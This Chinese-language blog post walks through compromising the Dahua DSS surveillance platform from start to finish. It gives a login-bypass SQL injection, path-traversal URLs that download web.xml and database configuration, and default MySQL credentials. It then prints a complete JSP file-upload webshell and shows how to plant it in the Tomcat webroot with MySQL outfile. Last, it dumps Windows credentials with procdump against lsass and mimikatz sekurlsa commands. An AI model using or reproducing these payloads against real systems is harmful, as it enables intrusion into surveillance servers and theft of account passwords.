大华DSS漏洞利用全过程

大华DSS漏洞利用全过程

  • 大华DSS是什么?

一监控平台,应该有不少学校、企业在用

  • 大华DSS有什么优势?

较稳定(从学校的使用来看)、支持设备多、支持云台控制、支持多种终端(Windows+Android+iOS)


不过,本文可不是宣传大华DSS的,而是谈谈大华漏洞的利用

本文中,DSS安装地址以http://localhost/为例

注:有些企业可能会自己修改大华DSS,加大入侵难度

0x00 数据库相关信息泄露

打开http://localhost/admin,注意结尾没有“/”,即可看到一些信息

0.PNG

虽然用处不大,不过可以起到一个收集信息的作用

0x01 后台的“半个万能密码”

http://localhost/admin/index.jsp,使用万能密码'or''='即可提升登陆成功

为什么说是半个?因为进去了也什么事都干不了

0x03 任意文件下载漏洞

这才是重头戏,打开http://localhost/admin/download.do?f=../WEB-INF/web.xml,即可下载到web.xml

QQ截图20150414204713.png

如果不出意外,还能在http://localhost/admin/download.do?f=../WEB-INF/proxool.xml下载到数据库配置

QQ截图20150414204831.png

0x04 默认密码

其实估计很多用DSS的都没有修改过数据库的默认密码,用户名都是mysql,密码都是password

0x05 Struts漏洞

这个漏洞可以利用来造成DoS攻击和任意代码执行,具体参见Wooyun的文章:http://drops.wooyun.org/papers/1377


讲了几个漏洞,现在来讲讲利用过程吧

Step1.利用MySQL放置Webshell

首先连上MySQL,找到安装目录

20150414204957.png

然后随便找个表,插入一段小马,比如:

<%@page contentType="text/html;charset=gb2312"%><%@page import="java.io.*,java.util.*,java.net.*"%><html><head><title>JspDo</title><style>body{color:red;font-size:12px;}</style></head><body><% if(request.getParameter("context")!=null) { String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");OutputStream pt = null; try { pt = new FileOutputStream(path); pt.write(context.getBytes());out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>"); } catch (FileNotFoundException ex2) { out.println("<font color='red'>上传失败!</font>"); } catch (IOException ex) { out.println("<font color='red'>上传失败!</font>"); } finally { try { pt.close(); } catch (IOException ex3) { out.println("<font color='red'>上传失败!</font>"); } } } %><form name="frmUpload" method="post" action=""><font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %><br><br><font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>"><br><br>上传文件内容:<textarea name="context" id="context" style="width:51%;height:150px;"></textarea><br><br><input type="submit" name="btnSubmit" value="Upload"></form></body></html>

接下来利用MySQL的outfile导出小马,到安装目录/WEBCLIENT/webclient/apache-tomcat-5.5.26/webapps/ROOT/client/a.jsp,例如D:/DSS/WEBCLIENT/webclient/apache-tomcat-5.5.26/webapps/ROOT/client/a.jsp,安装目录在前面获取到的

之后访问http://localhost/client/a.jsp,然后小马传大马,完成

Step2.获取Windows账号密码

如果你的目的只是获取Webshell,那就不用往下看了。不过,我还是把方法写上

首先下载一个小工具,叫procdump,然后传到服务器上(此软件经微软认证,杀软不报毒)

之后用Webshell执行命令,导出lsass的内存信息

procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后下载lsass.dmp到本地,打开Mimikatz,执行以下命令,就可以看到密码了(如果用户没有注销的话)

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full

PS:这一步有要求,那就是我们跑Mimikatz的电脑(Platform)和服务器(Source dump)的内核要兼容,兼容性如下:

20130917095500078.png